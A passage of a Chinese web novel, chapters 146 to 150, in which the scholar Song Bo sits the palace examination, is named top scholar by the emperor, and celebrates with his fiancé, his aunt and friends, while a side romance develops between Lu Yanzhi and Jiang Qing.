四月十五日,明日宋泊就要进入皇城参加殿试,现下宋泊还有闲情逸致在院中亭子喝茶,或许不太紧张。但到底是进殿面圣,宋茶栽怕他这个二十二岁的大侄儿只是面上装来的淡定。 宋泊喝下杯茶,老实道:“自是紧张。” 不过这个紧张不是害怕皇帝的紧张,而是害怕殿试不过的紧张。 恒国殿试并不只是排排贡士的名次,而是会将不合格的人淘汰,此次会试上榜一百一十一人,能通过殿试的人不过三分之二,宋泊担心的便是如此。 虽说会元被殿试刷下的可能性微乎其微,但他还是会有些担忧,毕竟世事无常,什么事儿都说不了百分之百。 “原来你还会紧张呢。”宋茶栽倒是觉着有趣,科举以来她就未见宋泊紧张过,这让她有个错觉,好似宋泊根本不畏惧这些。 “临门一脚,过了我才能安心准备成亲的事儿。”宋泊道。 “好哇,原来你只是怕娶不着夫郞。”宋茶栽调笑道。 宋泊睨了她一眼,反问道:“大姑你就不想要侄夫郞?” “当然想。”宋茶栽可喜欢江金熙,宋泊早一日取着江金熙,她便早一日高兴,“所以你明日可得卯足了劲。” “是,我定会拿出百分之两百的精气神应对。”宋泊说。 宋茶栽轻拍两下宋泊的后背,眼中满是欣慰,三年前的她怎么也想不着自家侄儿会有这般成就,现下当真是他们宋家祖坟冒了青烟,将宋泊从歧途中拉了出来,一路向好。 “好好好,这才是我的好侄儿。”宋泊笑着道:“为了给你加油鼓劲,中午咱们吃古董羹!” “甚好!”宋泊喜道。 四月十五日,月亮挂在夜空之中,周边繁星点点,一闪一闪如灯一般,宋泊就在这个只有时不时鸟叫声的时候,坐上了去皇城的马车。 他贷的这个宅子离皇城算是近的,不过坐马车也得两刻钟时间。 车内,江金熙穿着上次会试看榜的那套锦鲤衣袍,他双手紧攥着膝盖上的布料,瞧来可是紧张。 宋泊轻柔地牵过他的手,说:“衣服都出褶子了。” 江金熙直接承认自己紧张,他道:“虽说我见过圣上多次,但有时还是会忍不住发憷,不过圣上是明君,为人很好,你不必太害怕,专心作答就是。” 宋泊是农户出身,若不是科举考上是见不着圣上的,百姓们见圣上的机会很少,有些百姓见着圣上还会双脚发软,他怕宋泊稳不住心态紧张,殿试比的就是个心态。 “莫慌,我行得正坐得直,圣上抓不着我错处,我何须害怕?”宋泊说。 恒国如今能成为强国也是因着有当今圣上这位明君,明君好就好在情绪稳定不会突然发疯,若恒国国君变成暴君,他还得小心着说话,仔细不惹着圣上,答题可得分心。 “如此也是。”江金熙道。 两人说着便到了皇城门口,朱红色的宫门之外已经来了不少贡士,宋泊下了马车匆匆扫过一眼,几十人之中他只认识姜升。 姜升也上了会试红榜,名次在九十,他与姜升是霞县唯二两名贡士。 姜升瞧着宋泊,便走过来打招呼,“宋同学,你也来了。” “姜同学。”宋泊朝他行了一礼。 “前些日子忙,未与你祝贺,现下可算瞧着你,恭喜你高中会元。”姜升回了宋泊一礼。 “同喜同喜。”宋泊应声。 皇城门外人越来越多,江金熙便撩开一小节车窗帘,只漏了个嘴与宋泊说:“我先回去,你可相信自己便是。” 宋泊就站在马车边儿,他听着江金熙的话,道:“路上喊车夫慢些。” “嗯。”江金熙放下车窗帘,与车夫说了声走,马车便悠悠行远了。 此次会试上榜有一半多都是京城学生,京城学生谁认不得丞相府的马车,江金熙为了不节外生枝,让宋泊被他人议论,特地雇了辆别的马车,车夫也是车行配的车夫,没人会知道马车里坐了他。 丞相府的哥儿江金熙与宋泊订婚的事儿,虽不算传遍京城,但姜升多少有些耳闻,不过他不是那般爱八卦的人,就算猜着马车里就是江金熙,他也没有兴趣去问。 宋泊瞧着在场的贡士们,哪些人是京城学子哪些人是地方学子可是一眼明辨,地方学子未来过这般宏伟豪华的地儿,一边感叹的同时又免不了担心害怕。 宋泊也只是瞧了几眼就收了眼神,不论出身如何,大家都是凭真本事走到这儿的,谁也不输谁。 姜升的爹爹是县丞,官不大但也算做了官,有官位就有门路问些殿试细节,姜升虽然知道江丞相会比他爹爹知道得更多,但他还是与宋泊讲了着殿试该注意的小细节。 两人自霞县而来,多少有些惺惺相惜之感,宋泊也不藏着掖着,把从江金熙那儿听到的殿试规矩也与姜升分享了来,如此一对比,宋泊所知的殿试规矩比姜升知道的要多得多。 “多谢宋同学与我说这些规矩。”姜升不嫉妒宋泊知道得多,他落落大方与宋泊道谢,还说殿试结束后要请他吃饭。 “同学一场,只是说些话而已。”宋泊回道。 “宋同学有如此气量,往后定成就不凡。”姜升道。 第147章 第一百四十七章殿试。 寅时中,太常博士拿着册子行来,身后跟着八名侍卫,个个身高八尺,瞧着就吓人。 宫门外正交谈着的考生一瞧着官差来,纷纷闭了嘴,肃静站立,只等着太常博士叫名儿。太常博士手中拿着的册子是红榜的缩小版,宋泊身为会元排在第一位,第一个便喊着他的名字。 殿试的安检比以往任何考试都要严格,毕竟要面圣,可不能出任何岔子。 宋泊两手空空走进安检,又两手空空着出来,殿试的一切文具由太常准备,考生只需带着人来就行。 等着所有考生都过了安检排成一列时,天边微微泛起亮光。 太常博士宣读殿试规矩,话音刚刚落下,他身后的宫门开始渐渐往后挪动,时间到了。 宫门巨大,开启时的声响也大,像是给考生们一个下马威一般,让所有考生都肃然起敬,一句别个话都不敢说。 太常博士领着考生队列往里走,八名侍卫守在两侧,有一瞬间宋泊觉着自己不是考生,倒有些像是犯了事儿被拉来面圣的歹人。 殿试的地方在文和殿,恒国皇帝恒文帝早已坐在上位等待,考生们进了文和殿以后都不敢抬头,只宋泊偷偷往上瞄了几眼。 恒文帝身着一身金色龙袍,身形修长,没有中年人的大腹便便,他头戴冕冠,微微笑着瞧着下方考生,让大家都放松些抬起头来,像个和蔼可亲的皇帝。 太常博士将考生们送到文和殿后便退居一旁,由太常卿再次宣读殿试规矩,本次殿试由恒文帝亲自考察,考场便在这文和殿之中。文和殿设了一百一十张桌椅,每张桌子上都配备了齐全文具,只等考生就座。考官除了恒文帝以外,还有太常的官员,宋泊粗略估计,大概有十几位太常官员守在店内。 太常卿念着时间,辰时前让考生们入了座。 殿试的考题由皇帝钦定,太常的官员们都不知道,也就没了泄题的风险。 辰时一到,恒文帝当堂念题,考生们听了题后,纷纷开始作答。 今日只考恒文帝说来的一题,题目并不难,对于考生们来说难度甚至不及会试,只是要在众目睽睽之下答题,答题期间总会有人停于身旁,或许是圣上,或许是太常官员,这一停下便是瞧着卷子,考生们也许就会被这般行为扰了心智。 要知道殿试前的考试,最多只是考官坐与上位瞧着,现下在旁边兜兜转转,有些考生便心底发憷,手渐抖起来。 宋泊身为会元,自坐在太和殿考桌第一位,比起其他考生,他的心境算是比较平静的。现代的等级分位并不如古代分明,也没有那种见到领导必须下跪的风气,受现代影响,宋泊觉着恒文帝只是一国领导,而且还是个亲民爱才的领导,那便无需害怕,只放宽心写好自己的卷子就是。 宋泊刚抬笔沾墨,恒文帝便从上位走了下来,他自右侧开始走,瞧的第一人就是宋泊。 宋泊余光瞥见桌边那道黄色身影,他没什么别的想法,也没打算特意秀自己一下,他只是轻轻落笔,墨水在草纸上落下,既顺畅又美观。 恒文帝瞧着今年会元落笔生花,写在草纸上的字仔细认真,再细看几眼内容,也是条理分明,不由得满意点了两下头。 太常其他官员见恒文帝对会元很满意,都有意无意踱步到宋泊边上,瞧上几眼在走。 宋泊就在这样的环境中写完了殿试的卷子。 文和殿考桌前头燃有一支蜡烛,蜡烛三个时辰燃尽,直着最后一抹火星落下,太常卿张口高喊,“停笔——” 太常卿说停笔那就立刻得停,考场不过一百一十一人,谁人动笔一眼瞧去可是醒目,若被抓着那就是取消考试资格和终生不能再考科举的惩罚,惩罚严厉,故而没人敢以身涉险,都在太常卿声音还未完全落下的时候就把毛笔搁在了笔架之上。 太常卿未动桌上卷子,说道:“请考生们有序离场。” 早晨领他们进来的太常博士已经站在文和殿门口,只等着将考生再领出宫门外去。 皇城毕竟是皇家重地,有官之人尚且不能在皇宫内随意行走,更别说他们这些还未有官身的人了,八位侍卫还是守在考生队列旁,等出了宫门才随太常博士一块儿回了宫中。 “宋同学,你觉着这次殿试考题如何?”出了宫门,姜升才敢开口与宋泊讨论殿试的事儿。 现下是夕阳时刻,不比凌晨时一个人也无,因着需要顾及宫门口的交通情况,不让接考生的车子将宫门外围起来,侍卫圈了块儿地,来接考生的车子都得往后挪,所以宋泊和姜升还得行进一小段路。 “圣上聪慧细思,自是好题。”宋泊答,他不好说今日出的题目简单,只能这么恭维着道,恒文帝无论出什么题目都能称是好题,这么说来可谓是百用回答。 “我也觉着。”周边还有其他考生在,姜升便压低了声量,“刚刚我瞧着那金碧辉煌的宫殿,可是一阵腿软,差点儿答不出题来。” 姜升也是第一次考殿试,自没有殿试经验,他从地方上来,头一次见着伟岸的宫殿,又亲眼见了恒文帝,心底紧张、发憷可是正常。 “是呐。”宋泊应着说:“还好慌乱之中也没把知识从脑袋中晃出去,不然我可糟糕了。” 听着宋泊开玩笑道,姜升笑了起来,“宋同学你可真是有趣。” 有宋泊这么一打岔,姜升心底的紧张劲儿落下来不少。 江金熙乘着早上的马车来,等在宫门外。 宋茶栽和路砚知站在马车边上,江金熙不好下马车,但他俩可以。 姜轻也贷了辆马车来,正巧停在江金熙他们的马车边上,她嫌车上闷,撩开车窗帘发现路砚知就站在一旁,便下了马车与他搭话:“路砚知,你来接宋泊呢?” “是呐,你来接你哥哥姜升?”路砚知说。 姜轻眯着眼,瞅着路砚知:“哟,你回去打听我哥了?” 做的事儿被拆穿了,路砚知结巴着回答道:“我、我才没有,只是宋弟说了句,我顺耳听了而已。” “噢,是嘛。”姜轻斜睨了他一眼,显然是不相信他说的话。 “这位姑娘是?”宋茶栽未见过姜轻,不认得眼前这位束着发髻,语气豪爽的姑娘。 姜轻转身朝着宋茶栽甜甜道:“姐姐好,我是姜轻。” “还姐姐呢,叫我阿姨还差不多。”话虽这么说,但宋茶栽面上高兴,跟姜轻又聊了好几句,姜轻讲话好听,宋茶栽乐意与她说话。 “姜姑娘,你也来了。”江金熙撩开车窗帘,悄咪咪地跟姜轻打招呼。 姜轻听着声儿转眸,看见江金熙半边脸颊藏在车窗帘后头,她喜道:“江公子!” 江金熙一指横在嘴前,“嘘,小声些。” 现下是非常时期,他可不想漏了面让别人说宋泊能考中都是丞相府的功劳。 “好,我小声些。”姜轻乖乖点头,她也是官家姑娘,知道江金熙这么做定有他的想法。 “姜姑娘。”路砚知开口。 “怎么了?”姜轻应声。 “你上次给我的绿豆糕在哪儿买的,我想再买一些。”路砚知藏在身后的手绞着衣袖,说话都有些紧张。 “就市集随便买的。”姜轻答道:“你从东集市进去,走过一段卖玩具的摊子,而后右转” 姜轻正说着她买绿豆糕的地儿,就被路砚知打断了话,“姜、姜姑娘,我记不得那些弯弯绕绕的,改日你、你带我去一趟呗?” 姜轻耳廓轻摆两下,路砚知都是考到会试的人了,说记不得简单几句指路的话谁信呐。不过她内心这么想着,嘴上还是答应了路砚知,今日已经晚了,两人便定着明日去集市买绿豆糕。 江金熙坐与马车内听完两人之间的交流,没想着这两人是在何时关系好起来的,还能约着一道儿上集市。 远远的,宋泊先找着早上江金熙乘来的马车,而后又在马车边看到熟悉的人,他道:“大姑,路兄,姜姑娘,你们怎么在一块儿呢?” “这不是巧了嘛,姜姑娘的马车就是我们隔壁这辆。”路砚知解释道:“见是认识的人,便下来小说几句。” 姜轻迎上姜升,唤道:“哥哥!” “可在外面等久了?”姜升拉着姜轻的手,笑眯眯问着。 “没有,才来一会儿而已。”姜轻摇头。 之前路砚知在众仙岩只是远远看过一次姜升,现下离得近了,他才发现姜升长得不差,文质彬彬,说话很有礼貌,有这样沉稳的哥哥,才能有姜姑娘那般活泼、机灵、可爱的妹妹。 宋泊想起之前路砚知与他打听过姜升,便念着他想认识姜升的事儿,正好借此机会介绍给姜升认识,“对了,姜同学,与你介绍一下,这位是路砚知,与我们读于同一县学之中。” 听着宋泊这么说,路砚知便朝姜升行礼,“会乙班路砚知。” 姜升也抬手与路砚知行礼,“会甲班姜升。” “久闻姜同学大名,今日一见果然是人中之凤。”路砚知说道。 “路同学过誉,之前我听妹妹说过你的事,正有结交之意,这下了了一个心愿。”姜升说道。 路砚知心里咯噔一下,不知姜轻跟姜升说了什么,他细细回想起来,好似每次与姜轻见面他都没做什么好事来着 第148章 第一百四十八章路砚知的想法。 文和殿中,考生全部离席,太常卿正指挥着下属官员将卷子收起来,就听着坐与上位的恒文帝说道:“将那会元的卷子呈与我看看。” 太常卿看了眼恒文帝的面色,恒文帝嘴角微扬,还有闲情喝边上侍女端上的清茶,想来是心情不错,对此次殿试考生较为满意。 “是。”太常卿应了声,从太常少卿手里挑出了宋泊的卷子。 宋泊坐在第一位,收卷子从他那儿开始收,找来也是好找,太常卿双手捧着宋泊的卷子,走到恒文帝身旁,高抬双手递上。 恒文帝喝下一杯茶后,从侍女手中接过布净手,才把宋泊的卷子拿了过来。 卷轴一展,入目便是隽秀飘逸的字迹,都说字如其人,一份好的卷子最先就得给人一副好印象,恒文帝对这副字尤其满意,还喊了太常卿过来,“你瞧这字,可有几分?” 下官总是要揣测圣意,不过恒文帝是个好皇帝,太常卿说话可稍微放松一些,“微臣瞧来这字当属上乘。” 太常掌管礼乐、祭祀、文学等,看过的字画没有上万也有几千,若把这卷子两边的卷轴撤去,再裱上字画用的锦缎,这卷子便能直接挂上墙,当一幅书法欣赏。 “甚好,甚好。”恒文帝很是喜欢这字,等细细品味过字迹以后,他才看起宋泊写的内容。 太常卿安静地站在恒文帝身旁一字未说也跟着悄悄看卷子。 恒文帝今日问的问题与国家基建有关,基建带来的是长远的利益,必定损失百姓们当前的利益,恒文帝便是问如何减少对百姓们的利益损害。 宋泊的策论由小至大,先从百姓的小家说起,后头再延续到国之大家,想要百姓们心甘情愿投入国家基建当中,就得保证百姓福利,税负减少,工薪增加,这样多少能抵去对百姓们的损害。这般听来似乎损害了国家利益,不过工程建来福惠千年,少去天灾的损失,这何尝不是另一种形式上的获利呢? 恒文帝通篇读完以后,说着:“巧言善辩。” “今年的会元很是不错,一甲状元便定他了。”恒文帝将卷子卷来重新交到太常卿手中。 “是。”太常卿低头应声。 虽说殿试成绩当由他们太常官员与圣上一块儿商讨,但圣上钦点的状元,他们可不敢出言说不。 更何况他们在殿试时已经下场巡过多回,宋泊写的策论视角独特,乍看来观点犀利容易惹圣上不快,可他多用比喻等手法,将深刻的道理以让人愿意接受的方式写来,圣上瞧过一遍非但没有恼怒还点头说好,那便是他文章的高超之处。 得到钦点的状元之名算是实至名归。 * 在皇城宫门口不好聊天,宋泊便提议着换个处儿聊,江金熙再次做东,请大家到上次会试后的酒楼去。 江金熙定了个厢房,大伙儿便坐在青竹房中,泡茶等食。 路砚知一路惴惴不安,不知姜轻有没有与姜升说他的坏话,坐在位置上思来想去许久,他还是决定先开口,“姜同学。” 姜升转头朝向路砚知。 “对不起。”路砚知道。 这三个字把在场的所有人都说愣了,最愣的当属被道歉的姜升,“路同学这道歉从何而来啊?我记着咱俩是今日第一次见呢?” “每次遇着姜姑娘,她都被我影响运气不好,如此才与你道歉的。”路砚知说。 头一次被他撞,后一次差点儿掉水里,再后来瞧着他哭,好像每件事都不是很正面,会回去抱怨给姜升听也是正常的。 姜升和姜轻两人面对面互视一眼,姜升满眼疑惑。 姜轻也是没想到路砚知如此耿直,只是听她哥说了句听过他的事迹,便自己自爆了。 “没什么大事,你当他犯傻好了。”姜轻与姜升说道。 “路同学,我妹妹都如此说了,这道歉我可接受不。”姜升说。 路砚知抬眸看了眼姜轻,被姜轻瞪了一眼以后,他才挠了挠后脑勺,跟姜升说道:“噢、噢,好像是我犯傻了。” 店小二将菜品送了上来,京城酒楼的才主打一个色香味俱全,量不大,但胜在精致,每道菜端上桌都如艺术品一般。 江金熙为了给宋泊讨个好彩头,点的菜都是橙红黄那边的色调,一桌子的菜只有蔬菜透着一抹绿。 菜一上来,江金熙就帮宋泊夹一筷子到碗中,“你多吃些,殿试花了一日,你定然饿了。” 宋泊倾身在江金熙耳边小声道:“多谢夫郞,可是贴心。” 江金熙脑袋往边上一斜,他捏了把宋泊的大腿,拧起一小块皮可是疼人,“还没成婚呢,你就没个正经。” 宋泊不敢大叫,只能捂着腿控诉道:“这不是感动嘛。” 宋茶栽瞧着两人的互动,边吃着饭边笑,这小两口可是甜蜜,殿试结束后她见宋泊那自信满满的样儿,便觉着今年应有好事发生。 路砚知来过一次这家酒楼,知道哪些菜好吃,他离姜升、姜轻又近,便出言与他俩介绍桌上菜品。 “路同学说这菜辣,你尝尝。”姜升给姜轻夹了一筷子剁椒鱼头进入碗中,姜轻爱吃辣,可南方菜多清淡,这次随姜升一块儿进京赶考,总算让她尝着心满意足的辣菜。 路砚知悄咪咪记着,原来姜姑娘喜吃辣。 姜轻将鱼肉送入口中,刚入口便是冲上脑门的辣意,北方辣椒就是给劲,又香又辣吃来实在尽兴。 路砚知不会吃辣,之前江金熙也点了这菜,但他一直不敢下筷,如今见姜轻满足地眯起了眼,他忍不住也夹了一筷子剁椒鱼头。 “你能吃辣吗?”姜轻出言问道。南方人大多不会吃辣,她算是其中比较会吃辣的那类人,但这剁椒鱼头的辣还是辣得她舌头发麻,可别把路砚知直接辣进厕房才是。 “我不太能吃辣。”路砚知老实说着,他特意将鱼肉上的辣椒全部挑掉,夹在筷子上只有赤条条的鱼肉,旁的什么配菜也无,如此应当不会太辣才是? “那我劝你还是别吃为好。”姜轻劝道。 “不,我想试试。”路砚知道,姜姑娘觉着好吃的菜,他也要尝试一番。 姜轻见劝不动路砚知,便将桌上装有冷水的壶子拿来,给路砚知倒了满满一大杯凉水,“哥,帮我把这水放在路砚知那儿。” 姜升帮姜轻挪着水,问道:“真有这般辣?” “你且瞧着。”姜轻说。 路砚知还是小心谨慎,他没有将一整块鱼肉大口吃下,而是以牙咬下一小块吞入口中,只这一小块就足以辣翻路砚知。 路砚知的舌头一下便麻了,一张脸涨红,眼泪不自觉自眼眶落下,他急促着喊着,“水、水!” 姜升赶紧把水递上。 宋泊和江金熙听着路砚知那边的动静,转过头看去,只见路砚知昂着脖子,一杯水猛灌下肚。 “路兄可是怎了?”宋泊问坐在江金熙身边的姜轻。 “不能吃辣硬要尝试那个剁椒鱼头,我没劝动他,便成了这番模样。”姜轻无奈道,也不知路砚知是哪儿来的胜负欲,非得尝下那剁椒鱼头,现下好了,估计被辣椒辣得天旋地转了。 江金熙倒吸了口凉气,说:“那剁椒鱼头可是极辣,上回我见宋泊和他都未动半筷子,这次想划掉来着,不小心忘了。” “无事,既是他自己想尝,想来应该是做好了心理准备。”宋泊道。 路砚知一辣便猛灌水,没一会儿水壶中的水就全被他喝了,姜升拿着空水壶起身让店小二帮着加水,这期间对于路砚知来说可是煎熬。 “等会儿咱们去药店抓些胃药,路兄这么遭不住辣,肯定会胃疼。”江金熙道。 “好。”宋泊点头。 如江金熙所料,那一筷子鱼肉下肚以后,路砚知整个人便蔫了,就算后头紧急拿了蜂蜜水来,路砚知还是被辣够呛。 夜色渐浓,尽兴的饭局结束,站在酒楼前分别,姜轻担心地瞧着路砚知,“你没事吧?” 一听姜轻关心自己,路砚知赶紧支棱起来,强撑着精神说:“我当然没事,一小块鱼肉而已,能如何?” “当真?”姜轻狐疑地看着路砚知。 “当真!”路砚知答。 “那我就放心了。”姜轻道。 姜家的马车来了,姜轻嘱咐路砚知,让他这几日饮食清淡些养养胃,这才爬上马车离开。 姜家马车消失在道路尽头,路砚知才驼下背,右手捂着腹部唉唉直叫。 宋泊在一旁瞧着路砚知与姜轻说话,现下见路砚知如此可怜,不禁说道:“逞什么能呢。” “我也没想那剁椒鱼头有这般威力。”路砚知小步挪到宋泊身边,一手搭上宋泊的肩膀,“宋弟,驮我一段,我没力气了。” 宋泊摇了摇头,将路砚知扛上回家的马车。 为了给路砚知买胃药,宋茶栽陪着江金熙一道儿外出,不与他们坐一辆马车。 马车内只有宋泊与他两人,路砚知躺在马车横塌上,张嘴与宋泊说道:“宋弟,你觉得我追求姜姑娘可有望?” 先前路砚知便很想问问宋泊,毕竟宋泊比他有恋爱经验,但那时宋泊正忙着殿试,他也不想在这个节骨眼扰了宋泊,便留到这个时候才问。 “有望。”宋泊道:“姜姑娘至少将你当做朋友。” 姜轻要是不喜欢路砚知,也不会管他被辣椒辣着的死活,既然会在离开时问上一嘴,多少是陌生人以上的关系了。 “太好了。”路砚知一高兴,腹部又疼,他拧巴着一张脸,说:“那我就努力一把试试。” 第149章 第一百四十九章状元!!!!…… 只是这努力还未开始,先被辣椒打败了,路砚知和姜轻约了要去市集里买绿豆糕,路砚知在厕房拉了一早上,可是一点儿力都没了,只能躺在床上挺尸。 无法,路砚知便唤了宋泊来,让他帮着带话出去,与姜轻说改日再去集市买绿豆糕。 宋泊应声出去,回来时身后却跟着个尾巴,姜轻跟着他来了。 路砚知瞧着姜轻来,立马就想坐起相迎,脑子是这般想的,身体却执行不了,胃绞痛还未过去,他根本无力从床上支起来。 路砚知结巴着道:“姜、姜姑娘你怎么来了?” “听宋泊说你躺在床上动弹不得,这才过来瞧瞧。”姜轻将手上拎着的蜂蜜往屋内桌子上一搁,坐在桌子边给路砚知泡蜂蜜水,“说了很辣还逞能,今儿个遭罪了吧。” “下次可不敢了。”路砚知苦哈哈挎着一张脸。 宋泊见这儿没有他的事,他也不想在这里当个电灯泡碍事,便找了个去给宋茶栽帮忙的理由,溜出房内,不过临走时并未把房门带上,孤男寡女同处一室,还是得大门敞开才是。 “还能起身吗?”姜轻泡好温蜂蜜水,一手端着蜂蜜水一手拉着长凳到路砚知身旁。 “能。”路砚知嘴上这么说,实际却一直未从床上起来,他反手撑着床架想起,可还没将身子支起来,手就无力的垂了下去。 “算了,你就躺着吧。”姜轻没强迫着要路砚知起来,她帮忙直接托着路砚知起身也不合适,两厢权衡之下,她拿着勺子小半勺小半勺舀着蜂蜜水喂入路砚知口中,“这是我之前吃辣吃坏肚子时常用的药方子,你喝下去应该会好些。” 药材融入蜂蜜当中,路砚知喝来只尝到了蜂蜜味,并未尝到其它别个什么味,不过姜轻既然这么说了,那这水里应当是真混有药材。 半碗蜂蜜水下肚,不知是不是路砚知的心理作用,他真觉着腹部绞痛缓解了些。 “真是抱歉了。”路砚知道。 姜轻把空了的碗放在床边的床头柜子上,问:“抱歉什么?” “明明说好一起去集市的,我却这样了。”路砚知有些愧疚。 “我发觉你这人很喜欢道歉。”姜轻端坐在凳子上,继续说着:“可是我给你留下了不好惹的印象?” “没有的事!”路砚知赶忙摆手,人一慌什么话都往外蹦,“姜姑娘人漂亮,说话又好听,还有过往不究的宽广胸怀,怎么会不好惹呢!” 听路砚知这般慌忙辩解,姜轻没忍住抬手以袖捂嘴笑出了声,爽朗的笑声在房内响起,将路砚知心头上的焦急消去不少。 “听你这么说,我暂且信了。”姜轻道:“再说了,你又不是特意放我鸽子,身体抱恙还叫宋泊去集市找我,做事如此妥当便不必道歉,我们改日再约就是。” “真的可以吗?”路砚知抬眸看着姜轻,眼巴巴的眼神活像个小狗。 “可以,等你好了唤人来喊我一声就是。”姜轻道。 姜家在京城没有产业,姜轻和姜升上京赶考只能住在客栈之中,为了让路砚知能寻着她,姜轻还特意把客栈名字以及客栈地址写在一张小纸条上,把小纸条压在蜂蜜罐之下。 姜轻陪着路砚知*聊了一会儿,等着太阳渐渐偏向正中才离开宋家,离开前宋泊留她下来吃饭,她只说哥哥在客栈等着她便拒了在宋家吃午饭的邀请。 四月十八日,殿试出成绩的日子。 殿试卷子由太常所有官员评定,初定成果需经过丞相之手,丞相瞧过无误以后,再将此成绩呈与恒文帝,由恒文帝评定考生名次。 一甲为前三名,往后的十二位考生为二甲,再往后的考生便是三甲。 金榜贴在皇城东侧,布榜时间与以往考试差不多,都为卯时放榜。 宋泊、江金熙、宋茶栽和路砚知坐着马车行到皇城东侧时,周遭早已停了不少马车,因着这榜贴在皇城墙上,所以有带刀侍卫把守着,这看榜人是多,可却比以往任何一次看榜都安静。 毕竟有侍卫盯着,谁敢吵闹一声没准那腰间的刀子就冲脖子来了。 宋泊先下了马车,而后将江金熙和宋茶栽牵下来,路砚知一个大男子自己下了车。 边上行来一辆马车,姜升把车窗帘子拉开来,唤道:“宋同学。” “可是巧了。”宋泊应声。 姜家把马车停在宋泊他们马车的边上,姜升和姜轻下了马车。 姜升与宋泊寒暄着,姜轻则问路砚知的胃疼可好了。 路砚知行了一礼,道:“多亏姜姑娘的独家配方,我只在床上躺了一日便生龙活虎了。” “那便好。”姜轻应道。 有些瞧榜的人小声说着来榜了来榜了,他们这儿才止住交流,纷纷朝贴榜那儿瞧去。 金榜金榜,写有名儿的榜纸都是金的,这次由太常卿亲自贴榜,边上守着的侍卫更是比上次会试放榜还翻了一番。 “放榜——”太常卿启声,由侍卫帮着将金榜拉开。 瞧着前头官差的动作,宋泊的心跳不自觉加快几分,只等金榜完全展开来,是喜是悲便成定局。 宋泊和江金熙的手在衣袖之下相牵着,江金熙觉察着宋泊的手在使劲,抬眼看去又有些汗珠在宋泊的额头上,他紧了下自己的手,柔声道:“别紧张,你定然可以的。” “你瞧,我今日也穿了锦鲤袍呢,肯定没问题。”江金熙改牵为揽,调皮地展示自己的衣服,这衣服他买来共穿了三次,一次在会试放榜,一次在殿试当日,一次便在今天。 每次穿来都有好运,相信有这锦鲤加持,宋泊上榜定没问题。 宋泊笑着轻捏了下江金熙的脸颊肉,“有我家江锦鲤在,我可就放心了。” 左右两个侍卫将金榜完全展开来,太常卿把金榜小心地往墙上一摁,金榜被浆糊粘着,展现在大家面前。 宋泊眼睛好,一下便瞅着一甲状元位儿写着他的名字,而后江金熙也看见了榜上大名,他双手捂着嘴可是激动,忍不住在宋泊身边小跳。 宋茶栽到底有一定年纪,眼睛比不得年轻人,金榜上的名字在她瞧来糊糊一片,可看着宋泊和江金熙激动的表情,想来他俩定然已经看清了榜上之名,她焦急着问道:“如何如何?宋泊排在几名?” 江金熙撒了宋泊的手转而拉上宋茶栽的双手,他兴奋得语气都有些发颤,“大姑,是状元,宋泊是状元。” 宋茶栽睁圆双眼,难以置信道:“真的?你可不能唬我。” “我哪儿唬过你呀。”江金熙冤道。 状元这两个字在宋茶栽的脑海里转过多圈,过了一小会儿,她终于接受自家出了状元这么个天大的好消息,她抬手拢住江金熙,两人相拥着喜极而泣。 路砚知也未瞧清榜上写的何人,便顺耳听了江金熙的话,没曾想宋泊居然拿下了状元,他自心底为宋泊高兴,“恭喜宋弟!这下**的名头到手,这宋家门槛恐怕要被踏破了去。” “多谢路兄,明儿有了宴席定唤你来。”宋泊说道。 “那可早不得,我得准备份大大大大礼,才去得状元的宴席。”路砚知调笑道。 “那你备好了知会我一声,我在办宴。”宋泊顺着路砚知的玩笑话往下说着。 “好啊。”路砚知大笑道。 姜升那儿也传来了好消息,姜升的名字排在第十位,为二甲,名次也不算差。 宋泊瞧着江金熙和宋茶栽两人热泪盈眶,宠溺着从自己怀中抽出手巾先给宋茶栽擦泪,而后与江金熙讨了他的手巾,再帮着给江金熙擦泪,“得了状元可是好事,你们两人怎么哭成这样,四只大肿泡眼可是不好看呢。” “这不是高兴嘛。”宋茶栽拿着宋泊给的手巾,将面上的泪都擦净了去,“你如此有出息,几十年后我到底下也是有交代了。” “眼睛不好看便并不好看吧,我忍不住。”江金熙在宋泊面前昂起头来,晶莹的泪水在他眼眶打转,边儿马车上的灯笼灯光映在他的瞳孔之中,闪亮亮的可是让人心疼。 宋泊用食指戳着手巾仔细给江金熙擦着泪,得了状元还是想讨得江金熙的夸奖,“我可厉害了吧。” “厉害,超级厉害!”在外头江金熙不好做出太亲密的举动,他强忍着想要拥抱宋泊的冲动,改为两手攥着宋泊的手,“我瞧过不少书籍,像你这般厉害的人屈指可数,你当真是文曲星下凡?” 宋泊倒没那么厚脸皮敢与文曲星相提并论,不过江金熙这番夸奖让他可是受用,他改换手中动作牵住江金熙的手,“如此喜服可备上了,挑上个良辰吉日,最好是今年的吉日,我便迎娶你过门。” 听宋泊这么说,江金熙的耳廓在夜色中悄悄泛了红,一说到成亲他总是免不了心跳加快,“就如此着急?” “当然,我可想了两年,哪儿能不急呢。”宋泊道。 自与江金熙在一起以后,他每时每刻都想将江金熙迎娶进门,若不是自己身份不够又没功名在身,他早就提雁上门了。现下有了状元的名头,他可有了底气,说话声音都硬了不少,答应江丞相的条件他已做到,江丞相没法再用其它的条件为难他。往后他可得仔细筹备着成亲之事,与江金熙的婚事可不能落了排面。 江金熙红着面儿,应声:“好,那我便等着你来娶我。” 第150章 第一百五十章贺礼来啦~ 众人未在皇城门口待太久,榜儿看完以后便得回到自己的住所,等着捷报官来。 先前会试捷报官未来,便是等着这次一道儿来的,捷报官们个个铆足了劲,只等放榜一个时辰以后便往上榜的考生家中庆贺去。 回程时宋泊在路边买了四碗馄饨,看榜赶回去再做早饭可是麻烦,还不如路边直接买了带回去吃方便。 四人正窝在家中院内亭子吃着馄饨,便听着院门外由远及近传来锣鼓声,鼓声震天,镲声清脆,多种乐器声混在一起,门外可是热闹。 宋泊估计着时间,说道:“应是捷报官来了。” 余下三人皆放下手中餐具,与宋泊一道儿起身迎人。 没一会儿,院子门外便传来敲门声,为了让院内人听清敲门声,那喜乐还停了会儿,直等宋泊将门打开来才继续奏起。 宋泊打开院门,门外站着的果然是捷报官。 捷报官一席大红衣裳,腰间挂着捷报官的牌子,他见着宋泊立即眉开眼笑,道:“可是宋泊宋状元?” 捷报官们出来之前见过各考生的画像,只是画像和真人有区别,为了不找错人犯了尴尬事儿,捷报官都会先问过一嘴。 “正是。”宋泊应声。 听着外面吵闹,其他人也聚了上来,江金熙瞅着外头捷报官的阵势可是吓了一跳。足有二十人跟在捷报官后头,四人敲锣打鼓,二人举着“状元及第”,二人沿着队尾放鞭炮,十二人驮着贺礼,二十人皆穿红衣,可是喜庆。 